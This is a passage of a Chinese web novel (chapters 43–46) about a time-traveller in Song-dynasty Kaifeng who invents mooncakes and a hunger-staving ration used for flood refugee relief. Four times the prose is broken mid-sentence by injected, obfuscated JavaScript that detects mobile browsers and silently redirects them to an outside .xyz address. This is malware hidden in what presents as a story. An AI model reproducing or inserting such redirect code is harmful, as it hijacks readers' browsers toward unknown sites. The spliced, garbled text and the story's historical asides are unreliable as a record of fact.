"等过日子，立秋后再带你去。眼下路伯正忙着按你的图纸建房子，咱家也雇了两个老农开垦荒地，你就别去添乱了。” "行吧，到时候我要住几天，娘亲记得把我房里的家具备齐。" 由于房屋早已年久失修，其中的主屋完全坍塌。吴悦趁机提议用全砖石重建房屋，并要求砌筑壁炉。如此建成的房屋当然不符合东京当下的审美标准，但拗不过吴悦坚持，且她近来又为家中创收颇丰，刘耘娘最终还是同意了这一要求。 "那我回去找姐姐接着研究中秋新品了，娘您接着忙。"她闯入时，刘耘娘正在核算账目。 刘耘娘挥挥手示意"烦人精"快离开，继续打算盘核对账目。如今店铺增至两家，需花费更多时间统筹账务，好在三账分立为她节省了不少精力。 ----------------------------------- 回到前厅，吴悦摇醒午眠的二姐，开始研究月饼制作工艺，并试图将月饼与月宫、嫦娥、吴刚等元素融入中秋赏月文化。 南宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662421|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时才明确提到“月饼”一词，但是当时的月饼仅是市井点心铺中四时皆有的普通蒸食，多以酥皮、糖馅为主。如苏轼诗中“小饼如嚼月，中有酥与饴”描述的甜点，可能与现代苏式月饼相似，不过此时此类糕点尚未被赋予节日意义。据烹饪史家考证，宋代中秋节的主流食品是"玩月羹"，这是一种以桂圆、莲子、藕粉等为原料烹成的甜羹，类似现代的桂圆莲子藕粉羹。 本身计划将拜月仪式与象征"月圆"的圆形月饼相结合，使其成为祭月的主要供品，祭月后全家分食月饼，寓意"团圆"。 恰好毕昇携家眷抵达东京，她就萌生了新想法，能否将嫦娥、吴刚、月兔等传说故事以雕版印刷插画的形式呈现？ 唐朝时已出现宗教题材的版画，如《大藏经》扉页的"说法图"，人物造型丰满，背景辅以山水楼阁，体现佛教艺术本土化特征。宋代雕版印刷技术更加精进，世界最早纸币"交子"由章献明肃皇后刘娥于1023年发行，采用铜版印刷，版面印有房屋、树木等图案及防伪暗记，展现了版画技术早已经在官方的成熟应用。现在市场上也有朱墨双色印刷技术，但是仅仅用于大众最常买的佛经插图中。 但是吴悦还想要彩色的，这就需要毕昇尝试是否可以利用套色工艺，来改良版画技术。与黑白插图相比，彩色插图堪称"情绪的放大器"，可通过色彩区分元素、突出重点，从而更快地建立情感连接，更适合叙事性内容，也就是说更容易使人身临其境。而黑白插图则通过留白增强可读性，适合传递简洁信息。 对于广告而言，当然是彩色版本更适合，因为高饱和色彩页容易刺激冲动消费。 吴悦哄骗吴绮娘说还有更好吃的糕点，成功收获厨房小工一枚。 她决定挑战在后世也争议性十足的五仁口味，毕竟豆沙、枣泥等传统馅料在当前已经毫不稀罕。指挥二姐给自己剥核桃仁、杏仁、瓜子仁、花生仁，安排青枣去炒制芝麻，自己则拿了一些果脯，切了一些丝准备加在馅里。 步骤其实也并不复杂，将混合果仁在火上干炒后压碎，与果脯丝一同浸入糖油比例为3:1的糖浆中浸润，最后再拌入炒熟的糯米粉，五仁馅就这么做好了。 如果到这一步停下，其实就是清朝最高版本的耐饥丸，通过高能量食材组合实现长效饱腹感，是当时应对饥荒或远行需求的特殊食品。 最基础的耐饥丸则只需要炒制糯米粉与芝麻混合，加入枣泥后搓成直径3厘米的丸子，上锅蒸熟后阴干，用蜡纸包裹存放阴凉处，常温可保存六个月。食用时用温水冲服，每次1-2个即可维持6-8小时饱腹感。 没错，她又在偷偷为日后的行军和赈灾粮研发新成员。 除了炒米，自然还有这个被戏称为"自饱丸"的低配版五仁馅。 难怪后世一个月饼热量堪比三碗米饭。 连央视都提醒：月饼虽美味，食用需适量。 43. 第 43 章 月饼皮的制作过程相对复杂，面团需常温静置松弛两小时，然后分成面剂，让每个月饼成掌心大小，再放在土窑中烘烤。由于这是首次尝试，她们借鉴之前烤面包的经验，分三批次进行烘烤。当最终成品出炉时，已是晚上九点。 试吃了一肚子不合格品后，吴悦给尚未归家的父亲留了两个，便准备就寝。今日她可是太辛苦了，明日还需要去木匠铺定制月饼模具——做一些有雕花的、刻有喜庆字样的，还有可爱玉兔造型的。 吴绮娘也特意留着肚子，终于尝到表皮金黄、未烤焦的成功品。这些月饼表皮略带酥脆感，内馅由多种坚果与果脯混合而成，口感层次丰富。吃起来既有香脆的坚果的香味，又有软糯的果脯的甜味。 摩挲着剥果仁磨得生疼的双手，她顿时觉得今日的辛劳终有所值，拎着三个月饼，顺带提上一小盘荔枝，直接从后院梯子翻过去，准备给自家相公充当第二日早餐。 次日清晨，杜充吃了一个月饼便前往医局听课，直至中午仍不觉饥饿。待下午课后返家，才感到饥肠辘辘，煮了碗面充饥。 吴绮娘也是如此，她早起时便觉得毫无食欲，直至中午才勉强进食少量水果，晚间随杜充一同吃了几口面食，就直喊着饱了。 而吴家这边，身为壮年男子且每日还坚持锻炼的吴父，也发觉女儿新制的月饼饱腹感极强。他平日早餐需进食三个饼子并佐以一大碗羊肉汤面，今日却仅喝了些汤便已饱腹。 吴悦趁父亲询问制作方法时，提议可为他制作基础版耐饥丸，同样具备长效饱腹功能，且轻便易携，适合日后行军携带，饿了就直接吃一个。 这耐饥丸还真不是她瞎说，相传这是乾隆年间余姚县令李化楠首创。 取半锅糯米，炒熟到发黄，倒石臼里备用。再取半锅红枣，蒸熟后，去皮去核，也倒入石臼中。然后用大杵使劲捣，把石臼里的糯米和红枣捣烂捣匀，捣成糊状，再挖出来，团成鸡蛋大的丸子，铺在苇叶上晒干。据说这种耐饥丸最能耐饥，吃一丸，保半天不饿。李化楠曾经号召广大群众趁丰年多制些耐饥丸储备起来，遇上灾年无粮，可以取出救荒。 吴军笑骂女儿杞人忧天："如今海内承平，哪来的战事？"对女儿所说的毫不在意。 但是吴悦却已经打定主意，等忙过了中秋，就做一些基础版的耐饥丸，到时候一定要塞给她爹试试。 ---------------------------------------------- 可是她还是忽略了这仁宗后期，全球气象变化的威力。 还没到八月十五，东京城已连降多场暴雨。霖雨绵绵间，城内以汴河、蔡河、五丈河、金水河为骨干的"四水贯都"水系本应发挥排涝作用，却因河道均为人工疏浚且河床浅窄，每逢暴雨汛期便易泛滥，竟然起不到半点排讯作用。尤其是，作为漕运命脉的汴河，本需每年清淤维护，但近年吏治腐败，朝廷拨款竟未用于河道疏浚，导致河床逐渐淤塞，进一步加剧排水不畅。 惊雷裹挟暴雨倾泻而下，有些洼地积水达数尺，各河道水位急剧暴涨。此情此景，不禁让人忆起十年前东京城那场水患——当时连续霖雨致使河水泛滥，导致“民舍多坏，压死者众”。 城内渐渐谣言四起，有人断言此次水患或将甚于往昔。无论传言虚实与否，目睹汴河两岸商铺平房多遭水浸，诸多东京城民众心中难免泛起忧虑。 国子监与太学已停课两周，吴夏每日困守家中读书，早已心生烦闷。今日他特意出城往州桥、汴河一带走了一圈查看河道情况，归途又顺道探视了自家食店。 ---------------------------------- "吴氏酪香"依然在营业，但是堂食的食客明显减少，倒是外卖订单络绎不绝。雨中可见许多闲汉冒雨穿梭街巷，往来送餐。 他刚到店中，便见一个常来送外卖的汉子正向食店管事诉苦："方才想抄近道赶回来，哪料院墙塌了半截，把路堵得严实。幸而小人跑得快，人倒没伤着，就是摔破了食盒，今日就送不了餐了。" 那管事也安慰道："没伤着便是万幸，这点损失算什么。" 吴夏巡视了一圈店铺，依照妹妹叮嘱将低洼处、仓库及柴火房等重点区域逐一查看。 早在春节过后，因为晓得今年开始就气候异常，暴雨频发，吴悦特意交代在食店四周开挖砖石排水沟，并提前用石灰、糯米、桐油和鸡蛋混合的糯米灰浆对家中房屋、店铺都进行加固修葺。当时她交代泥匠在糯米灰浆里掺入桐油与蛋清，还招致各种质疑。然而吴悦坚持要求，匠人们虽满腹狐疑，但是给钱的是大爷，依旧依令行事。 其实在唐朝时，工匠就已经用糯米灰浆建筑陵墓、佛塔，后又扩展到桥梁、水利等公共工程。北宋《营造法式》虽未明文记载糯米灰浆配方，但考古发现东京城遗迹的城墙粘合剂中含有糯米成分，印证了其实际应用。不过当时配方仍以石灰-糯米二元体系为主，尚未添加其他增强剂，在防水性、粘合强度及抗裂性能方面均存在局限。 而南宋时期出版的《事林广记》等文献就记载“以桐油入灰”的工艺改良，已经开始在糯米灰浆中添加桐油、蛋清等添加剂。其中，桐油可形成疏水膜增强防水性，蛋清能提升灰浆抗冻性能，使其更适应南宋政权迁移后，南方的多雨气候，此类复合配方被广泛应用于沿海堤坝工程。福建泉州南宋沉船（"南海一号"）船体修补材料中就检出桐油、蛋清与糯米灰浆的混合物，证实了这一工艺的实际应用。 明清时期，糯米灰浆正式成为国家工程标准材料。明南京城墙采用"石灰-糯米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667186|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' -桐油"三元配方，历经六百年风雨侵蚀，现存墙体仍无结构性渗水。钱塘江明清鱼鳞石塘（海宁段）以糯米灰浆砌筑，至今仍部分服役，其抗潮汐冲刷能力显著优于同期其他石塘。紫禁城宫殿基座、天坛祈年殿台基等核心建筑均采用此等工艺，现代检测显示其内部湿度常年稳定在55%-65%，得益于灰浆低孔隙率的防渗特性。 如果来个材料学大学生，就能解释其性能机理：糯米中的支链淀粉与石灰反应生成碳酸钙结晶网络，形成微观骨架结构；桐油通过氧化聚合在灰浆表面形成疏水膜；蛋清中的蛋白质则在低温环境下起到增韧作用，三者协同赋予灰浆优异的防水、抗裂及抗冻性能。 巡视完食店，吴夏身披蓑衣冒雨策马赶至吴家糕点铺。发现蔡翠兰正站在门口，满脸愁云，紧锁眉头。见主家公子前来，她顾不得整理被雨打湿的鬓发，忙不迭迎上前来。 吴夏下马抖落蓑衣水珠，却未进店，只立在店铺门头下问道："蔡姐姐这般忧心，可是柴房进水，还是房梁漏雨？" 蔡翠兰连连摇头："都不是，是小娘子为中秋备的馅料已开始结块，再不见日头，摊开晒开，怕是要霉变了。"她指着店内后厨放的那一列列竹匾："您瞧这芝麻、核桃、花生、杏仁粉，哪样都吸不得潮气！更不用说仓库里还存的糯米粉、大米粉以及面粉，这淫雨绵绵的......" 现在雨势如注，店中一位顾客都无。原定的中秋新品推广计划，在这场持续的暴雨中化作泡影。加之城内人心惶惶，百姓皆担忧水患重现，朝中也在争论救灾措施，在生存危机笼罩下，众人皆无心娱乐消遣，哪里有心思品评她们吴氏要推出的新品月饼。 这几天她们开店迎客，每日仅零星几单生意。暮色降临时分，柜上糕点竟然还剩半数未卖出，便是生意最好那日，也余下四分之一。隔日再售，糕点外皮就会受潮发软，品相大损，终究还是无人问津，只得扔掉。如此循环，为赶在原料霉变前消耗殆尽食材，不得不加急赶制糕点，却反陷入"做多滞销，不做浪费"的困局。 吴夏听罢，意识到事态严重，当即吩咐起来："你速将库存原料清点造册，拿予给我，我这便回家与小妹商议对策。" 蔡翠兰即刻转身从柜台取来笔墨，片刻间便将库房存量誊录成笺。吴夏小心将笺纸叠了又叠，藏于青布衫内最不易被淋雨的贴胸处，一蹬马镫扬鞭策马，就朝家的方向疾驰而去。 一路上他特别留意两边店铺的，所见商铺大多闭门歇业，唯一几个还开着的，却也是门罗可雀，店中仆役们均挤在门前看雨。 檐角铜铃在风雨中叮当作响，积水漫过石板路，不少巷口处浊浪翻涌，深可没膝。 东京城本就北高南低，连地势较高的大相国寺一带尚且如此，可想而知城南地势最低的南熏门附近已沦为泽国。 44. 第 44 章 等到吴夏赶回家，并没有先找母亲刘耘娘，而是径直到东厢房叩响妹妹闺房。 吴悦听罢兄长转述，难得露出凝重神色。 自霖雨初降，她便担忧糕点铺的食材防潮问题——那些糯米粉、果仁本就极易吸湿。虽曾特意交代过蔡翠兰可以将滞销糕点以成本价售予食店，让食店管事给经常点外卖的大客户们送上一些，并附上笺纸感激在如此恶劣天气还照顾自家生意。但是，即便如此，每日仍有小半数剩余，这还是在蔡翠兰已刻意减产的情况下。 即便让吴氏酪香以成本价收购，终究得不偿损。她这才意识到，自己终究还是小觑了这场气候异变的破坏力。 她知道京城水患堪忧，但更严重的灾情实则在河北路。因路途阻隔，朝廷尚未接到详报。此次水患源于持续暴雨迳流，与黄河决口无关。因为水灾，难民将会纷纷逃往京东路。史上记载，在重灾区青州（今山东青州）一地，富弼将率僚属赈济灾民达数十万之众；淄州（今山东淄博淄川）、郓州（今山东东平）等地也参与了对流民的安置工作。 庆历新政失败后，改革派核心人物相继外放地方。1045年，也就是今年正月之后，杜衍出任兖州知州（今山东济宁），富弼出任青州知州（今山东潍坊），韩琦出知扬州（今江苏扬州），本该郁郁而死的石介则赴濮州（今山东鄄城北）任通判。至于范仲淹，此刻仍在陕西邠州履职，直到年末才会调任邓州（今河南邓州）。 韩琦和范仲淹暂且不提，前者在扬州，后者在邠州（今陕西彬州），这两地相隔甚远，对灾区帮不上手。 但是熟悉鄄城的人就知道，这个地方离开封不远。 在后世开车从开封去鄄城也只需要2小时高速，但是这是在现代有四通八达的高速公路的情况下。在现在，北宋官道质量当然无法和柏油高速相比，可是日行30里还是可以达到的。 如果按着这样计算，从东京城去到濮州（鄄城）骑马或者牛车只需要3到5日。从石介的濮州去杜衍所在的兖州更近，步行都只需要3到4天。富弼所在的最远的青州，因为要绕行泰山，从开封府出发，步行也需要25天左右。 所以她打算，把糕点铺暂且关门一段时间，将为了中秋特意准备的备料拿来做耐饥丸。然后将这些丸子运存给石介，再转运到杜衍处。当流民过境到靠近兖州的郓州、淄州一带时，杜衍可以借此救济一些周边流民，这样就能减轻富弼所在重灾区青州流民过多的压力。 其实这就是将石介所在的濮州作为区域配送中心，作为赈灾粮的集中存储所在。而杜衍的兖州则是分布式仓储网络，可以缩短从东京城调往青州富弼处救济粮的时间，还可以降低运输成本。 本来她将炒米和炒面的配方都赠送了出去，那日宴请的菜品也是精心挑选的，又特意送给富弼、杜衍等人特制干粮。以为在这次水灾事件里，她可以置身事外——毕竟在世人眼中，男子做事叫谋划，谓之"深谋远虑"；女子做事叫算计，是"心机深沉"。 她深谙人言可畏，不愿在这些政坛老手心中留下"工于心计"的印象。 在男权社会里，女子展现出超越闺阁的谋略，往往会被污名化为"牝鸡司晨"。她尤其忌惮日后被类比为吕后、武后，因此刻意收敛锋芒，既不提前囤积粮食，也不打算主动捐粮邀功。就是因为她清醒的认识到，过早暴露野心只会引发猜忌，还不如默默赚点钱，平安健康的长大，不要被人为夭折。 要知道，北宋捐粮制度是有着比较完整的多重激励机制，既包含物质与政治层面的直接回馈，也涉及社会地位与家族荣誉的提升。 捐粮千石以上者可获“承务郎”“儒林郎”等散官头衔，虽无实权，但可参与朝会、享受官员待遇。赵官家们也会以“内藏库”财物赏赐捐粮者，如宋英宗曾赐捐粮大户白银千两、绢帛五百匹，相当于当时普通农户二十年收入。捐粮者还可享受“商税减半”或“免税”待遇，泉州有一海商曾捐粮三千石，他名下商船往来南洋可免关税三年。 因此她只是提前将明清时才流行的中秋吃月饼的习俗带到北宋，为此特意购置了糯米粉、杏仁、花生等食材，就等着大赚一笔。 但是事情赶不上变化，东京城连降暴雨，导致库存的馅料面临霉变风险。这些食材虽然难以直接作为赈济粮捐出，却可通过食品加工制成耐饥丸——这种即食轻便、饱腹感强的应急食品。 这新玩意交于他人，未必能得到重视。唯有石介、杜衍等人与她关系特殊，还曾在宴席上品尝过琥珀叠翠糖、酪酥煎糯饼，切实感受过这充饥的功效，才会鼎力推广耐饥丸，并确保其在赈济过程中不被贪墨。 她本来也不奢求朝廷封赏，只要庆历新政改革派的这些人心中留个好印象就好。虽然范仲淹和杜衍可以算昨日黄花，两人最后都只在地方就任。但是韩琦和富弼会在接下来被宋仁宗召回中枢，相继拜相。 人算不如天算啊。 将这些想明白后，吴悦温言安抚兄长："我自会与母亲商议，哥哥且安心读书。" ---------------------------- 刘耘娘深以为然，当下糕点店开一日便赔一日，不如尽早关门止损。那些即将霉变的食材，也只能归咎于时运不济。在这看天吃饭的年月，谁又能拗得过老天爷？ 她还有更关键的事要想：食店外卖订单源源不断，如何保障食材与柴火供应。若东京城水患加剧，是举家迁往城外庄子暂避，还是固守京中宅院？如果固守家中，存粮与柴火可支撑几日？ 幸而年后，小女儿瞎折腾，执意用糯米灰浆将房屋院墙都加固了一番，现在不需要担心房屋倒塌问题。绮娘就在隔壁，照拂起来也方便；丽娘虽在内城南边低处居住，不过她夫家也是百年香料世家，就算最近遭受商业打击，瘦死的马也比骆驼大，暂且也不需要操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684265|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。如此看来，还是只需要管好自家就好。至于那些食材，就给小女儿折腾吧。 从刘耘娘那里拿到全权处理的许可，吴悦就立刻开始着手处理。 首先做了一些耐饥丸，附上书信一封，差人快马送往濮州石介处。 然后就全身心的投入在了大批量制作中，仅用五日便耗尽库存的全部月饼原料。 当然，店里其他的常在架糕点的原材料还是留着的，以备日后恢复营业时使用。因为消耗掉了仓库起码一半的存量，先前购置的生石灰已足以满足防潮需求。 话说石介收到吴悦首封书信时，正与林知州，以及一众吏员讨论黄河是否会决口以及商榷粮草赈济物资预案。忽闻何群求见，他急忙告退转入花西厅。何群早在厅内等候，手中提着一个大包裹。先接过递来的东京急件，见封皮署着吴悦笔迹，石介悬着的心稍定。待匆匆览毕，又不禁心中一紧，急忙从何群手中接来包裹。 待他亲手拆开后，只见内中用油纸严密封存着十几个男性成人拇指大小的丸子。二人各取一枚服下，刚好正值晌午，就未打算进午膳，有意测试这丸子的耐饥效果。 待暮色降临，他下职归至住所，这才将吴悦先前置于路资礼盒中的炒米、炒面食谱，与新得的耐饥丸配方并置案头，放在一起细细的研究起来。 这信中细数了这两份食谱的优缺点，比如虽同具有无需炊爨、开袋即食、便于储运的优点。但是在饱腹感与成本控制上各有差异：耐饥丸以糯米为主料，糯米主产于江南，止饿功效更显著，然而还是需要因地制宜考量库存的物资。且其制作仰赖水力磨坊碾制糯米粉，人工成本颇高。 反观炒米、炒面，工艺简单，携带更方便，就是需要定时三餐进食，吃久了会觉得口感太差。 还特别说明，此次寄送的耐饥丸实因东京连日淫雨，粉末原料易受潮变质，为避免粮食浪费，故将剩余成品一并寄送，以备不时之需。然而赈济物资仍当以炒米、炒面为主，若条件允许，可添加猪油并沸水冲泡，制成速食粥品。随信还附送了猪油炼制法，时下猪肉成本低廉，经过此法，一头200斤的活猪，可得约30斤猪油。添加猪油后，止饿效果较普通炒米提升三分之一，且口感更为腴美，更能令灾民接受。 总之，请他自行决断究竟该推广哪种赈灾粮。 见弟子竟操心起炒米、炒面的口感问题，还提议熬制猪油并加盐调味，石介唯有无奈苦笑——女子就是心地善良，却不知道如果遇到易子而食的绝境，灾民岂会挑剔滋味，能果腹已是万幸。 但见干炒后的米面因去除水分而更显轻便，且可以直接食用，他不由得陷入沉思。灾区既缺柴薪又少水源，粮食运输务求迅捷，若赈济物资稍有延误，极易引发民变。饿红了眼的灾民连官衙都敢冲击，但是此类乱象与谋反无异，只会当地格杀。但是石介心中亦是明白，这铤而走险只为求生，实乃不得已之举。 45. 第 45 章 石介所任通判一职，本来是为制衡知州而设的监察官职。 依制，州级政务文书须经通判与知州联署方具效力，这就形成权力制衡机制。 而他的职权涵盖还包括直接奏事权——可越过知州直接向皇帝奏报地方政情；司法监督权——参与重大案件审理，核查司法程序，防范知州滥用司法权；专项政务管理权——分管粮运、农田、水利等实务，兼掌州级财政收支审核，监督赋税征收，杜绝地方截留中央财赋；以及，军事后勤监督权——负责粮草供应等后勤保障监督，确保军需物资调配透明。 简单地说，濮州现在的物资就是他管。 而北宋的赈灾物资包括粟、稻、麦等主食，通常以"赈粜"（低价出售）或"赈济"（免费发放）两种形式实施。还有生产资料类，包含麦种、耕牛等生产工具，可以助力灾民恢复农耕：以及生活保障类，寒冷地区发放冬衣，瘟疫时配给医药。 然而物资运输严重仰赖牛车陆运，且沿途损耗极其惊人。据《宋史-食货志》记载，从开封运粮至太原，单程耗时2个月，每车载粮2石（一石约等于现在的153.6斤），耗饲料3石，人夫口粮1.5石，实际净运输量仅为0.5石（74斤左右），损耗率高达75%。且长途运输中，高温高湿的环境又会导致粮食遭到黄曲霉毒素污染，又会损耗百分之十，更不要说还有官吏中饱私囊情况。 这炒米、炒面法，经纯谷物干炒高温脱水处理，既延长保质期，又减轻重量，确实可以缓解一些粮草运输不济的问题。 他将吴悦的信誊抄一遍，另修书致杜衍，称若有灾民涌入，可以试行推广。随即将剩下的耐饥丸重新封装，连同两封书信，遣使快马驰送兖州杜衍处。 ---------------------------- 等到杜衍的信来到富弼手中时，已经是一个月之后。 青州距开封路途遥远，依制受灾地区须于灾害发生后十日内向州府逐级申报，内容涵盖受灾范围、损失程度、流民数量等情状。知州接报后，需要先下文书统计各县灾情，并亲自走村串户核实。待地方初报毕，朝廷方派遣御史或转运使赴灾区实地查勘，以防州县瞒报。待灾情奏报与复核无误，中枢才会视其轻重缓急拨付赈济物资。 因此，此刻富弼将城中富商巨贾齐聚府衙大堂，劝他们将粮食捐出救济流民。他深知中枢决议没有这么快，要先组织内部自救。当他看到官驿快马来信，以为是朝廷的赈灾措施已经下达，不禁诧异此次速度之快。立刻让众人先在厅内等候，随着这携带红字牌的急递铺兵走入后堂。 谁知这铺兵带的不是中枢的诏令，而是来自好友杜衍的手书三封，还有一袋看起来颇为古怪的丸子与一袋炒面。 据这铺兵说，这5日都是以此为食：炒面味寡，需以水冲食，且耐饥不足，一日需进三餐；而丸子虽其貌不扬，吃起来却有红枣的甜味，质地粘糯，好似糕点，饱腹功效更胜炒面。铺兵将试食心得禀告富弼，并言此乃杜知州授意。 富弼若有所思的点点头，让铺兵下去休息，随即才拆开杜衍来信。阅读完，又启封石介所寄信笺——内中还誊抄吴悦书信一封。待三封信都看完，这才执起炒面袋细细观察。 据信中所述，这个炒面就是宴请之日，送他的礼盒里的食谱所制。富弼以指撮取少许置于舌尖，而后又拿起一颗耐饥丸放入口中，咀嚼数下似在品鉴滋味。随后才大声呼喊随从，让他点几个人去官道上等着赈灾粮，会是十车运载着黑色丸子的牛车，待接获后即刻押解回府。 原来，杜衍信中提及他与石介已探知河北水患，因为已有一些零星灾民逃到他治下，从他们嘴中获知大部流民正向青州聚集。 由于他们俩人与富弼私交甚好，并且因为吴悦赠送的耐饥丸轻便好携带，也是私人所捐，不需要等朝廷下令调粮，石介便先将这几车耐饥丸星夜运往青州。而杜衍，也尝试烹制一些炒面和猪油一起运到北边州境处，等待可能会来的大批流民。 信中建议，如果富弼收到这耐饥丸，可以分发一些灾民，让他们携带然后沿着官道往西南方向，到兖州杜衍辖区，他也会遣吏沿途接应，为青州分担一二。 这让为安置流民百计焦心的富弼如释重负，据目前统计，入境流民已逾四十万，据说后续仍有浩荡人潮络绎不绝。 也不知这10车耐饥丸效果如何，但是无论如何，让他也有了些盼头，起码能多救助一些人。 事实证明，这耐饥丸确实不辜负它的名字。 它的味道微甜，刚入口时感觉有些干硬难嚼，咀嚼久之便会津液满口，吃一次能维持一下午不饿。吴悦在制作时可不止放了红枣，她也将核桃、杏仁和花生、芝麻都两两混合与糯米及红枣一起搅合，这样还富含脂肪和蛋白。对连草根树皮都啃食的灾民而言，每日每人仅需一粒即可七分饱足。 富弼派了一些厢兵，分别押送着六车耐饥丸，并给于一些炒面充当口粮，将一些实在无力安置的流民，护送着去兖州或濮州方向。并安慰这些灾民，会给他们路上提供耐饥丸，等他们到了别的州府，还有朝廷赈灾物资。青州离东京路途遥远，且一州接纳能力有限，集中安置又容易引发疫情，万万不可在此处等死。 对州内剩下的灾民，则采取了以工代赈的策略，组织青壮年流民疏浚河道、修筑堤坝，每日支付工钱。这样既可以解决劳动力短缺问题，又能改善了青州水利设施，为灾后重建奠定基础。并且还在城外设立病坊，配备郎中和药材，对染疫流民进行隔离治疗。更推行掩埋法，不许曝尸荒野，对病殁者统一安葬，有效预防了瘟疫扩散。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688747|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到朝廷诏令颁下，各州这才开始核计仓廪，截留部分物资后，余粮悉数转运给重灾区赈济。 但是由于石介和杜衍以干炒法处理米面，水分蒸发后，减轻了重量，使同等辎重的粮车提前两日便已经抵达青州州境。 那些从青州出走的灾民见到州境线上的赈济粮，都纷纷伏地高呼："知州大人果然不欺我等！"待补充口粮后，流民不再如之前一样杂乱无章的顺着官道乱走，而是聚集在一起商量着迁徙何处。 原来这些人都不想回老家，家中的田地房屋已经被洪水冲毁，黄河决口的威胁又一直吊在他们头上，每逢暴雨便心惊胆战，倒不如换个别的地方生活。 此次河北大灾，宋仁宗亦下达政令，组织灾民赈灾性迁徙。本来前来传令的官员以为这次也是徒劳无功，却没想到有一多半的人打算南迁就食。 这确实个意外惊喜。 太宗时期，朝廷就鼓励江南无地农民迁往荆湖、岭南等地开垦荒地，不仅提供耕牛、种子，还会免除三到五年赋税。但是由于政治中心还在北方，因此现在南北人口分布失衡，人们更习惯在中原居住——南方仅占总人口四成左右，且多聚居江南与四川一带。 按北宋政区划分，江南泛指长江中下游以南地区，分设江南东路与江南西路：东路涵盖今江苏南部（南京、苏州、常州）、安徽南部（徽州、宣州）、浙江北部（杭州、湖州）；西路则包括江西全境、湖北东南部（鄂州、黄州）、湖南东北部（岳州、潭州）。 而后世的广西，海南，广东，湖南南部以及贵州东部，在现在的北宋堪称是人烟稀少的“蛮荒之地”。据《元丰九域志》记载，整个广南西路（广西）也仅仅有15万户，还不如江南东路苏州一州（约19万户）的人口多。海南省更是仅仅3万户。而广南东路（广东）由于有广州港，才刚刚超过20万户。 而这次，半数灾民决意南下，主要还是手中既有刚补充的口粮，又有耐饥丸可维持一日的温饱，朝廷也承诺会提供种子和农具，并宣布免除前3年赋税。灾民们觉得可以活着走过去，因此纷纷决定南下。 东京城里 将耐饥丸全部运出后，吴悦便不再过多关注外面的灾情。 毕竟整整下了一个月的大雨终于停歇，进入九月后天气骤然转热，酷热难耐。每晚都要穿着轻薄的褙子在庭院里乘凉，直到深夜十一点后才能回屋入睡。 而白天仿佛要弥补上个月阴雨连绵的憋闷，即便骄阳似火，整座城市仍陷入疯狂的消费热潮。她们吴氏糕点铺尤为突出——因停业十数日，复业时竟迎来了顾客们的狂热追捧。 仿佛看到了能将此前损失的营业额全部追回，蔡翠兰的脸上重新绽放出笑容。店里新推出的重阳糕、栗子糕和延寿饼三款时令糕点，特别是后两者凭借独特创意广受好评。 46. 第 46 章 九月有一个重要节日——重阳节，即农历九月初九。 北宋时期，人们在这一天还维持着登高、赏菊、饮菊花酒、插茱萸等传统习俗。登高多选择郊外胜地，如仓王庙、毛驼冈、独乐冈等地。 赏菊之风在东京城尤为盛行，当时培育的菊花品种繁多且命名雅致。据孟元老《东京梦华录》记载："九月重阳，都下赏菊，有数种。其黄、白色蕊若莲房，曰‘万龄菊''；粉红色曰‘桃花菊''；白而檀心曰‘木香菊''；黄色而圆者曰‘金铃菊''；纯白而大者曰‘喜容菊''，无处无之。" 登高宴饮之际，既然赏菊品茗当然免不了美食相伴。 重阳糕作为应节糕点，菊花酒、茱萸酒作为特色饮品，均成为宴客必备。值得一提的是，东京城虽地处内陆，但螃蟹已通过漕运成为重阳时令美味。清蒸螃蟹佐以姜醋蘸料，蟹肉鲜甜微醺，堪称一绝。各大酒楼更推出"蟹酿橙""蟹肉包"等创新菜式，将蟹宴文化推向高潮。 菊花被文人雅士誉为"延寿客"，其酿成的菊花酒不仅寓意祛病延年，更因其甘醇口感而老少咸宜。茱萸则被赋予"辟邪翁"的雅称，其果实酿制的药酒多为老年人所喜爱。 